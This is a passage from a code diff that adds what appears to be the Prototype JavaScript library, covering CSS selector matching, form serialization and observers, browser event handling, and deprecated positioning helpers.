+      }
+    },
+
+    // filters out duplicates and extends all nodes
+    unique: function(nodes) {
+      if (nodes.length == 0) return nodes;
+      var results = [], n;
+      for (var i = 0, l = nodes.length; i < l; i++)
+        if (!(n = nodes[i])._countedByPrototype) {
+          n._countedByPrototype = Prototype.emptyFunction;
+          results.push(Element.extend(n));
+        }
+      return Selector.handlers.unmark(results);
+    },
+
+    // COMBINATOR FUNCTIONS
+    descendant: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, node.getElementsByTagName('*'));
+      return results;
+    },
+
+    child: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        for (var j = 0, child; child = node.childNodes[j]; j++)
+          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
+      }
+      return results;
+    },
+
+    adjacent: function(nodes) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        var next = this.nextElementSibling(node);
+        if (next) results.push(next);
+      }
+      return results;
+    },
+
+    laterSibling: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, Element.nextSiblings(node));
+      return results;
+    },
+
+    nextElementSibling: function(node) {
+      while (node = node.nextSibling)
+	      if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    previousElementSibling: function(node) {
+      while (node = node.previousSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    // TOKEN FUNCTIONS
+    tagName: function(nodes, root, tagName, combinator) {
+      var uTagName = tagName.toUpperCase();
+      var results = [], h = Selector.handlers;
+      if (nodes) {
+        if (combinator) {
+          // fastlane for ordinary descendant combinators
+          if (combinator == "descendant") {
+            for (var i = 0, node; node = nodes[i]; i++)
+              h.concat(results, node.getElementsByTagName(tagName));
+            return results;
+          } else nodes = this[combinator](nodes);
+          if (tagName == "*") return nodes;
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.tagName.toUpperCase() === uTagName) results.push(node);
+        return results;
+      } else return root.getElementsByTagName(tagName);
+    },
+
+    id: function(nodes, root, id, combinator) {
+      var targetNode = $(id), h = Selector.handlers;
+      if (!targetNode) return [];
+      if (!nodes && root == document) return [targetNode];
+      if (nodes) {
+        if (combinator) {
+          if (combinator == 'child') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (targetNode.parentNode == node) return [targetNode];
+          } else if (combinator == 'descendant') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Element.descendantOf(targetNode, node)) return [targetNode];
+          } else if (combinator == 'adjacent') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Selector.handlers.previousElementSibling(targetNode) == node)
+                return [targetNode];
+          } else nodes = h[combinator](nodes);
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node == targetNode) return [targetNode];
+        return [];
+      }
+      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
+    },
+
+    className: function(nodes, root, className, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      return Selector.handlers.byClassName(nodes, root, className);
+    },
+
+    byClassName: function(nodes, root, className) {
+      if (!nodes) nodes = Selector.handlers.descendant([root]);
+      var needle = ' ' + className + ' ';
+      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
+        nodeClassName = node.className;
+        if (nodeClassName.length == 0) continue;
+        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
+          results.push(node);
+      }
+      return results;
+    },
+
+    attrPresence: function(nodes, root, attr, combinator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      var results = [];
+      for (var i = 0, node; node = nodes[i]; i++)
+        if (Element.hasAttribute(node, attr)) results.push(node);
+      return results;
+    },
+
+    attr: function(nodes, root, attr, value, operator, combinator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      var handler = Selector.operators[operator], results = [];
+      for (var i = 0, node; node = nodes[i]; i++) {
+        var nodeValue = Element.readAttribute(node, attr);
+        if (nodeValue === null) continue;
+        if (handler(nodeValue, value)) results.push(node);
+      }
+      return results;
+    },
+
+    pseudo: function(nodes, name, value, root, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      return Selector.pseudos[name](nodes, value, root);
+    }
+  },
+
+  pseudos: {
+    'first-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.previousElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'last-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.nextElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'only-child': function(nodes, value, root) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
+          results.push(node);
+      return results;
+    },
+    'nth-child':        function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root);
+    },
+    'nth-last-child':   function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true);
+    },
+    'nth-of-type':      function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, false, true);
+    },
+    'nth-last-of-type': function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true, true);
+    },
+    'first-of-type':    function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, false, true);
+    },
+    'last-of-type':     function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, true, true);
+    },
+    'only-of-type':     function(nodes, formula, root) {
+      var p = Selector.pseudos;
+      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
+    },
+
+    // handles the an+b logic
+    getIndices: function(a, b, total) {
+      if (a == 0) return b > 0 ? [b] : [];
+      return $R(1, total).inject([], function(memo, i) {
+        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
+        return memo;
+      });
+    },
+
+    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
+    nth: function(nodes, formula, root, reverse, ofType) {
+      if (nodes.length == 0) return [];
+      if (formula == 'even') formula = '2n+0';
+      if (formula == 'odd')  formula = '2n+1';
+      var h = Selector.handlers, results = [], indexed = [], m;
+      h.mark(nodes);
+      for (var i = 0, node; node = nodes[i]; i++) {
+        if (!node.parentNode._countedByPrototype) {
+          h.index(node.parentNode, reverse, ofType);
+          indexed.push(node.parentNode);
+        }
+      }
+      if (formula.match(/^\d+$/)) { // just a number
+        formula = Number(formula);
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.nodeIndex == formula) results.push(node);
+      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+        if (m[1] == "-") m[1] = -1;
+        var a = m[1] ? Number(m[1]) : 1;
+        var b = m[2] ? Number(m[2]) : 0;
+        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
+        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
+          for (var j = 0; j < l; j++)
+            if (node.nodeIndex == indices[j]) results.push(node);
+        }
+      }
+      h.unmark(nodes);
+      h.unmark(indexed);
+      return results;
+    },
+
+    'empty': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        // IE treats comments as element nodes
+        if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue;
+        results.push(node);
+      }
+      return results;
+    },
+
+    'not': function(nodes, selector, root) {
+      var h = Selector.handlers, selectorType, m;
+      var exclusions = new Selector(selector).findElements(root);
+      h.mark(exclusions);
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node._countedByPrototype) results.push(node);
+      h.unmark(exclusions);
+      return results;
+    },
+
+    'enabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node.disabled) results.push(node);
+      return results;
+    },
+
+    'disabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.disabled) results.push(node);
+      return results;
+    },
+
+    'checked': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.checked) results.push(node);
+      return results;
+    }
+  },
+
+  operators: {
+    '=':  function(nv, v) { return nv == v; },
+    '!=': function(nv, v) { return nv != v; },
+    '^=': function(nv, v) { return nv.startsWith(v); },
+    '$=': function(nv, v) { return nv.endsWith(v); },
+    '*=': function(nv, v) { return nv.include(v); },
+    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
+    '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); }
+  },
+
+  split: function(expression) {
+    var expressions = [];
+    expression.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
+      expressions.push(m[1].strip());
+    });
+    return expressions;
+  },
+
+  matchElements: function(elements, expression) {
+    var matches = $$(expression), h = Selector.handlers;
+    h.mark(matches);
+    for (var i = 0, results = [], element; element = elements[i]; i++)
+      if (element._countedByPrototype) results.push(element);
+    h.unmark(matches);
+    return results;
+  },
+
+  findElement: function(elements, expression, index) {
+    if (Object.isNumber(expression)) {
+      index = expression; expression = false;
+    }
+    return Selector.matchElements(elements, expression || '*')[index || 0];
+  },
+
+  findChildElements: function(element, expressions) {
+    expressions = Selector.split(expressions.join(','));
+    var results = [], h = Selector.handlers;
+    for (var i = 0, l = expressions.length, selector; i < l; i++) {
+      selector = new Selector(expressions[i].strip());
+      h.concat(results, selector.findElements(element));
+    }
+    return (l > 1) ? h.unique(results) : results;
+  }
+});
+
+if (Prototype.Browser.IE) {
+  Object.extend(Selector.handlers, {
+    // IE returns comment nodes on getElementsByTagName("*").
+    // Filter them out.
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        if (node.tagName !== "!") a.push(node);
+      return a;
+    },
+
+    // IE improperly serializes _countedByPrototype in (inner|outer)HTML.
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node.removeAttribute('_countedByPrototype');
+      return nodes;
+    }
+  });
+}
+
+function $$() {
+  return Selector.findChildElements(document, $A(arguments));
+}
+var Form = {
+  reset: function(form) {
+    $(form).reset();
+    return form;
+  },
+
+  serializeElements: function(elements, options) {
+    if (typeof options != 'object') options = { hash: !!options };
+    else if (Object.isUndefined(options.hash)) options.hash = true;
+    var key, value, submitted = false, submit = options.submit;
+
+    var data = elements.inject({ }, function(result, element) {
+      if (!element.disabled && element.name) {
+        key = element.name; value = $(element).getValue();
+        if (value != null && (element.type != 'submit' || (!submitted &&
+            submit !== false && (!submit || key == submit) && (submitted = true)))) {
+          if (key in result) {
+            // a key is already present; construct an array of values
+            if (!Object.isArray(result[key])) result[key] = [result[key]];
+            result[key].push(value);
+          }
+          else result[key] = value;
+        }
+      }
+      return result;
+    });
+
+    return options.hash ? data : Object.toQueryString(data);
+  }
+};
+
+Form.Methods = {
+  serialize: function(form, options) {
+    return Form.serializeElements(Form.getElements(form), options);
+  },
+
+  getElements: function(form) {
+    return $A($(form).getElementsByTagName('*')).inject([],
+      function(elements, child) {
+        if (Form.Element.Serializers[child.tagName.toLowerCase()])
+          elements.push(Element.extend(child));
+        return elements;
+      }
+    );
+  },
+
+  getInputs: function(form, typeName, name) {
+    form = $(form);
+    var inputs = form.getElementsByTagName('input');
+
+    if (!typeName && !name) return $A(inputs).map(Element.extend);
+
+    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
+      var input = inputs[i];
+      if ((typeName && input.type != typeName) || (name && input.name != name))
+        continue;
+      matchingInputs.push(Element.extend(input));
+    }
+
+    return matchingInputs;
+  },
+
+  disable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('disable');
+    return form;
+  },
+
+  enable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('enable');
+    return form;
+  },
+
+  findFirstElement: function(form) {
+    var elements = $(form).getElements().findAll(function(element) {
+      return 'hidden' != element.type && !element.disabled;
+    });
+    var firstByIndex = elements.findAll(function(element) {
+      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
+    }).sortBy(function(element) { return element.tabIndex }).first();
+
+    return firstByIndex ? firstByIndex : elements.find(function(element) {
+      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
+    });
+  },
+
+  focusFirstElement: function(form) {
+    form = $(form);
+    form.findFirstElement().activate();
+    return form;
+  },
+
+  request: function(form, options) {
+    form = $(form), options = Object.clone(options || { });
+
+    var params = options.parameters, action = form.readAttribute('action') || '';
+    if (action.blank()) action = window.location.href;
+    options.parameters = form.serialize(true);
+
+    if (params) {
+      if (Object.isString(params)) params = params.toQueryParams();
+      Object.extend(options.parameters, params);
+    }
+
+    if (form.hasAttribute('method') && !options.method)
+      options.method = form.method;
+
+    return new Ajax.Request(action, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element = {
+  focus: function(element) {
+    $(element).focus();
+    return element;
+  },
+
+  select: function(element) {
+    $(element).select();
+    return element;
+  }
+};
+
+Form.Element.Methods = {
+  serialize: function(element) {
+    element = $(element);
+    if (!element.disabled && element.name) {
+      var value = element.getValue();
+      if (value != undefined) {
+        var pair = { };
+        pair[element.name] = value;
+        return Object.toQueryString(pair);
+      }
+    }
+    return '';
+  },
+
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    return Form.Element.Serializers[method](element);
+  },
+
+  setValue: function(element, value) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    Form.Element.Serializers[method](element, value);
+    return element;
+  },
+
+  clear: function(element) {
+    $(element).value = '';
+    return element;
+  },
+
+  present: function(element) {
+    return $(element).value != '';
+  },
+
+  activate: function(element) {
+    element = $(element);
+    try {
+      element.focus();
+      if (element.select && (element.tagName.toLowerCase() != 'input' ||
+          !['button', 'reset', 'submit'].include(element.type)))
+        element.select();
+    } catch (e) { }
+    return element;
+  },
+
+  disable: function(element) {
+    element = $(element);
+    element.blur();
+    element.disabled = true;
+    return element;
+  },
+
+  enable: function(element) {
+    element = $(element);
+    element.disabled = false;
+    return element;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Field = Form.Element;
+var $F = Form.Element.Methods.getValue;
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element.Serializers = {
+  input: function(element, value) {
+    switch (element.type.toLowerCase()) {
+      case 'checkbox':
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element, value);
+      default:
+        return Form.Element.Serializers.textarea(element, value);
+    }
+  },
+
+  inputSelector: function(element, value) {
+    if (Object.isUndefined(value)) return element.checked ? element.value : null;
+    else element.checked = !!value;
+  },
+
+  textarea: function(element, value) {
+    if (Object.isUndefined(value)) return element.value;
+    else element.value = value;
+  },
+
+  select: function(element, index) {
+    if (Object.isUndefined(index))
+      return this[element.type == 'select-one' ?
+        'selectOne' : 'selectMany'](element);
+    else {
+      var opt, value, single = !Object.isArray(index);
+      for (var i = 0, length = element.length; i < length; i++) {
+        opt = element.options[i];
+        value = this.optionValue(opt);
+        if (single) {
+          if (value == index) {
+            opt.selected = true;
+            return;
+          }
+        }
+        else opt.selected = index.include(value);
+      }
+    }
+  },
+
+  selectOne: function(element) {
+    var index = element.selectedIndex;
+    return index >= 0 ? this.optionValue(element.options[index]) : null;
+  },
+
+  selectMany: function(element) {
+    var values, length = element.length;
+    if (!length) return null;
+
+    for (var i = 0, values = []; i < length; i++) {
+      var opt = element.options[i];
+      if (opt.selected) values.push(this.optionValue(opt));
+    }
+    return values;
+  },
+
+  optionValue: function(opt) {
+    // extend element because hasAttribute may not be native
+    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
+  initialize: function($super, element, frequency, callback) {
+    $super(callback, frequency);
+    this.element   = $(element);
+    this.lastValue = this.getValue();
+  },
+
+  execute: function() {
+    var value = this.getValue();
+    if (Object.isString(this.lastValue) && Object.isString(value) ?
+        this.lastValue != value : String(this.lastValue) != String(value)) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  }
+});
+
+Form.Element.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.EventObserver = Class.create({
+  initialize: function(element, callback) {
+    this.element  = $(element);
+    this.callback = callback;
+
+    this.lastValue = this.getValue();
+    if (this.element.tagName.toLowerCase() == 'form')
+      this.registerFormCallbacks();
+    else
+      this.registerCallback(this.element);
+  },
+
+  onElementEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  },
+
+  registerFormCallbacks: function() {
+    Form.getElements(this.element).each(this.registerCallback, this);
+  },
+
+  registerCallback: function(element) {
+    if (element.type) {
+      switch (element.type.toLowerCase()) {
+        case 'checkbox':
+        case 'radio':
+          Event.observe(element, 'click', this.onElementEvent.bind(this));
+          break;
+        default:
+          Event.observe(element, 'change', this.onElementEvent.bind(this));
+          break;
+      }
+    }
+  }
+});
+
+Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+if (!window.Event) var Event = { };
+
+Object.extend(Event, {
+  KEY_BACKSPACE: 8,
+  KEY_TAB:       9,
+  KEY_RETURN:   13,
+  KEY_ESC:      27,
+  KEY_LEFT:     37,
+  KEY_UP:       38,
+  KEY_RIGHT:    39,
+  KEY_DOWN:     40,
+  KEY_DELETE:   46,
+  KEY_HOME:     36,
+  KEY_END:      35,
+  KEY_PAGEUP:   33,
+  KEY_PAGEDOWN: 34,
+  KEY_INSERT:   45,
+
+  cache: { },
+
+  relatedTarget: function(event) {
+    var element;
+    switch(event.type) {
+      case 'mouseover': element = event.fromElement; break;
+      case 'mouseout':  element = event.toElement;   break;
+      default: return null;
+    }
+    return Element.extend(element);
+  }
+});
+
+Event.Methods = (function() {
+  var isButton;
+
+  if (Prototype.Browser.IE) {
+    var buttonMap = { 0: 1, 1: 4, 2: 2 };
+    isButton = function(event, code) {
+      return event.button == buttonMap[code];
+    };
+
+  } else if (Prototype.Browser.WebKit) {
+    isButton = function(event, code) {
+      switch (code) {
+        case 0: return event.which == 1 && !event.metaKey;
+        case 1: return event.which == 1 && event.metaKey;
+        default: return false;
+      }
+    };
+
+  } else {
+    isButton = function(event, code) {
+      return event.which ? (event.which === code + 1) : (event.button === code);
+    };
+  }
+
+  return {
+    isLeftClick:   function(event) { return isButton(event, 0) },
+    isMiddleClick: function(event) { return isButton(event, 1) },
+    isRightClick:  function(event) { return isButton(event, 2) },
+
+    element: function(event) {
+      var node = Event.extend(event).target;
+      return Element.extend(node.nodeType == Node.TEXT_NODE ? node.parentNode : node);
+    },
+
+    findElement: function(event, expression) {
+      var element = Event.element(event);
+      if (!expression) return element;
+      var elements = [element].concat(element.ancestors());
+      return Selector.findElement(elements, expression, 0);
+    },
+
+    pointer: function(event) {
+      return {
+        x: event.pageX || (event.clientX +
+          (document.documentElement.scrollLeft || document.body.scrollLeft)),
+        y: event.pageY || (event.clientY +
+          (document.documentElement.scrollTop || document.body.scrollTop))
+      };
+    },
+
+    pointerX: function(event) { return Event.pointer(event).x },
+    pointerY: function(event) { return Event.pointer(event).y },
+
+    stop: function(event) {
+      Event.extend(event);
+      event.preventDefault();
+      event.stopPropagation();
+      event.stopped = true;
+    }
+  };
+})();
+
+Event.extend = (function() {
+  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
+    m[name] = Event.Methods[name].methodize();
+    return m;
+  });
+
+  if (Prototype.Browser.IE) {
+    Object.extend(methods, {
+      stopPropagation: function() { this.cancelBubble = true },
+      preventDefault:  function() { this.returnValue = false },
+      inspect: function() { return "[object Event]" }
+    });
+
+    return function(event) {
+      if (!event) return false;
+      if (event._extendedByPrototype) return event;
+
+      event._extendedByPrototype = Prototype.emptyFunction;
+      var pointer = Event.pointer(event);
+      Object.extend(event, {
+        target: event.srcElement,
+        relatedTarget: Event.relatedTarget(event),
+        pageX:  pointer.x,
+        pageY:  pointer.y
+      });
+      return Object.extend(event, methods);
+    };
+
+  } else {
+    Event.prototype = Event.prototype || document.createEvent("HTMLEvents").__proto__;
+    Object.extend(Event.prototype, methods);
+    return Prototype.K;
+  }
+})();
+
+Object.extend(Event, (function() {
+  var cache = Event.cache;
+
+  function getEventID(element) {
+    if (element._prototypeEventID) return element._prototypeEventID[0];
+    arguments.callee.id = arguments.callee.id || 1;
+    return element._prototypeEventID = [++arguments.callee.id];
+  }
+
+  function getDOMEventName(eventName) {
+    if (eventName && eventName.include(':')) return "dataavailable";
+    return eventName;
+  }
+
+  function getCacheForID(id) {
+    return cache[id] = cache[id] || { };
+  }
+
+  function getWrappersForEventName(id, eventName) {
+    var c = getCacheForID(id);
+    return c[eventName] = c[eventName] || [];
+  }
+
+  function createWrapper(element, eventName, handler) {
+    var id = getEventID(element);
+    var c = getWrappersForEventName(id, eventName);
+    if (c.pluck("handler").include(handler)) return false;
+
+    var wrapper = function(event) {
+      if (!Event || !Event.extend ||
+        (event.eventName && event.eventName != eventName))
+          return false;
+
+      Event.extend(event);
+      handler.call(element, event);
+    };
+
+    wrapper.handler = handler;
+    c.push(wrapper);
+    return wrapper;
+  }
+
+  function findWrapper(id, eventName, handler) {
+    var c = getWrappersForEventName(id, eventName);
+    return c.find(function(wrapper) { return wrapper.handler == handler });
+  }
+
+  function destroyWrapper(id, eventName, handler) {
+    var c = getCacheForID(id);
+    if (!c[eventName]) return false;
+    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
+  }
+
+  function destroyCache() {
+    for (var id in cache)
+      for (var eventName in cache[id])
+        cache[id][eventName] = null;
+  }
+
+  if (window.attachEvent) {
+    window.attachEvent("onunload", destroyCache);
+  }
+
+  return {
+    observe: function(element, eventName, handler) {
+      element = $(element);
+      var name = getDOMEventName(eventName);
+
+      var wrapper = createWrapper(element, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.addEventListener) {
+        element.addEventListener(name, wrapper, false);
+      } else {
+        element.attachEvent("on" + name, wrapper);
+      }
+
+      return element;
+    },
+
+    stopObserving: function(element, eventName, handler) {
+      element = $(element);
+      var id = getEventID(element), name = getDOMEventName(eventName);
+
+      if (!handler && eventName) {
+        getWrappersForEventName(id, eventName).each(function(wrapper) {
+          element.stopObserving(eventName, wrapper.handler);
+        });
+        return element;
+
+      } else if (!eventName) {
+        Object.keys(getCacheForID(id)).each(function(eventName) {
+          element.stopObserving(eventName);
+        });
+        return element;
+      }
+
+      var wrapper = findWrapper(id, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.removeEventListener) {
+        element.removeEventListener(name, wrapper, false);
+      } else {
+        element.detachEvent("on" + name, wrapper);
+      }
+
+      destroyWrapper(id, eventName, handler);
+
+      return element;
+    },
+
+    fire: function(element, eventName, memo) {
+      element = $(element);
+      if (element == document && document.createEvent && !element.dispatchEvent)
+        element = document.documentElement;
+
+      var event;
+      if (document.createEvent) {
+        event = document.createEvent("HTMLEvents");
+        event.initEvent("dataavailable", true, true);
+      } else {
+        event = document.createEventObject();
+        event.eventType = "ondataavailable";
+      }
+
+      event.eventName = eventName;
+      event.memo = memo || { };
+
+      if (document.createEvent) {
+        element.dispatchEvent(event);
+      } else {
+        element.fireEvent(event.eventType, event);
+      }
+
+      return Event.extend(event);
+    }
+  };
+})());
+
+Object.extend(Event, Event.Methods);
+
+Element.addMethods({
+  fire:          Event.fire,
+  observe:       Event.observe,
+  stopObserving: Event.stopObserving
+});
+
+Object.extend(document, {
+  fire:          Element.Methods.fire.methodize(),
+  observe:       Element.Methods.observe.methodize(),
+  stopObserving: Element.Methods.stopObserving.methodize(),
+  loaded:        false
+});
+
+(function() {
+  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
+     Matthias Miller, Dean Edwards and John Resig. */
+
+  var timer;
+
+  function fireContentLoadedEvent() {
+    if (document.loaded) return;
+    if (timer) window.clearInterval(timer);
+    document.fire("dom:loaded");
+    document.loaded = true;
+  }
+
+  if (document.addEventListener) {
+    if (Prototype.Browser.WebKit) {
+      timer = window.setInterval(function() {
+        if (/loaded|complete/.test(document.readyState))
+          fireContentLoadedEvent();
+      }, 0);
+
+      Event.observe(window, "load", fireContentLoadedEvent);
+
+    } else {
+      document.addEventListener("DOMContentLoaded",
+        fireContentLoadedEvent, false);
+    }
+
+  } else {
+    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
+    $("__onDOMContentLoaded").onreadystatechange = function() {
+      if (this.readyState == "complete") {
+        this.onreadystatechange = null;
+        fireContentLoadedEvent();
+      }
+    };
+  }
+})();
+/*------------------------------- DEPRECATED -------------------------------*/
+
+Hash.toQueryString = Object.toQueryString;
+
+var Toggle = { display: Element.toggle };
+
+Element.Methods.childOf = Element.Methods.descendantOf;
+
+var Insertion = {
+  Before: function(element, content) {
+    return Element.insert(element, {before:content});
+  },
+
+  Top: function(element, content) {
+    return Element.insert(element, {top:content});
+  },
+
+  Bottom: function(element, content) {
+    return Element.insert(element, {bottom:content});
+  },
+
+  After: function(element, content) {
+    return Element.insert(element, {after:content});
+  }
+};
+
+var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
+
+// This should be moved to script.aculo.us; notice the deprecated methods
+// further below, that map to the newer Element methods.
+var Position = {
+  // set to true if needed, warning: firefox performance problems
+  // NOT neeeded for page scrolling, only if draggable contained in
+  // scrollable elements
+  includeScrollOffsets: false,
+
+  // must be called before calling withinIncludingScrolloffset, every time the
+  // page is scrolled
+  prepare: function() {
+    this.deltaX =  window.pageXOffset
+                || document.documentElement.scrollLeft
+                || document.body.scrollLeft
+                || 0;
+    this.deltaY =  window.pageYOffset
+                || document.documentElement.scrollTop
+                || document.body.scrollTop
+                || 0;
+  },
+
+  // caches x/y coordinate pair to use with overlap
+  within: function(element, x, y) {
+    if (this.includeScrollOffsets)
+      return this.withinIncludingScrolloffsets(element, x, y);
+    this.xcomp = x;
+    this.ycomp = y;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (y >= this.offset[1] &&
+            y <  this.offset[1] + element.offsetHeight &&
+            x >= this.offset[0] &&
+            x <  this.offset[0] + element.offsetWidth);
+  },
+
+  withinIncludingScrolloffsets: function(element, x, y) {
+    var offsetcache = Element.cumulativeScrollOffset(element);
+
+    this.xcomp = x + offsetcache[0] - this.deltaX;
+    this.ycomp = y + offsetcache[1] - this.deltaY;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (this.ycomp >= this.offset[1] &&
+            this.ycomp <  this.offset[1] + element.offsetHeight &&
+            this.xcomp >= this.offset[0] &&
+            this.xcomp <  this.offset[0] + element.offsetWidth);
+  },
+
+  // within must be called directly before
+  overlap: function(mode, element) {
+    if (!mode) return 0;
+    if (mode == 'vertical')
+      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
+        element.offsetHeight;
+    if (mode == 'horizontal')
+      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
+        element.offsetWidth;
+  },
+
+  // Deprecation layer -- use newer Element methods now (1.5.2).
+
+  cumulativeOffset: Element.Methods.cumulativeOffset,
+
+  positionedOffset: Element.Methods.positionedOffset,
+
+  absolutize: function(element) {
+    Position.prepare();
+    return Element.absolutize(element);
+  },
+
+  relativize: function(element) {
+    Position.prepare();
+    return Element.relativize(element);
+  },
+
+  realOffset: Element.Methods.cumulativeScrollOffset,
+
+  offsetParent: Element.Methods.getOffsetParent,
+
+  page: Element.Methods.viewportOffset,
+
+  clone: function(source, target, options) {
+    options = options || { };
+    return Element.clonePosition(target, source, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
+  function iter(name) {
+    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
+  }
+
+  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
+  function(element, className) {
+    className = className.toString().strip();
+    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
+    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
+  } : function(element, className) {
+    className = className.toString().strip();
+    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
+    if (!classNames && !className) return elements;
+
+    var nodes = $(element).getElementsByTagName('*');
+    className = ' ' + className + ' ';
+
+    for (var i = 0, child, cn; child = nodes[i]; i++) {
+      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
+          (classNames && classNames.all(function(name) {
+            return !name.toString().blank() && cn.include(' ' + name + ' ');
+          }))))
+        elements.push(Element.extend(child));
+    }
+    return elements;
+  };
+
+  return function(className, parentElement) {
+    return $(parentElement || document.body).getElementsByClassName(className);
+  };
+}(Element.Methods);
+
+/*--------------------------------------------------------------------------*/
+
+Element.ClassNames = Class.create();
+Element.ClassNames.prototype = {
+  initialize: function(element) {
+    this.element = $(element);
+  },
+
+  _each: function(iterator) {
+    this.element.className.split(/\s+/).select(function(name) {
+      return name.length > 0;
+    })._each(iterator);
+  },
+
+  set: function(className) {
+    this.element.className = className;
+  },
+
+  add: function(classNameToAdd) {
+    if (this.include(classNameToAdd)) return;
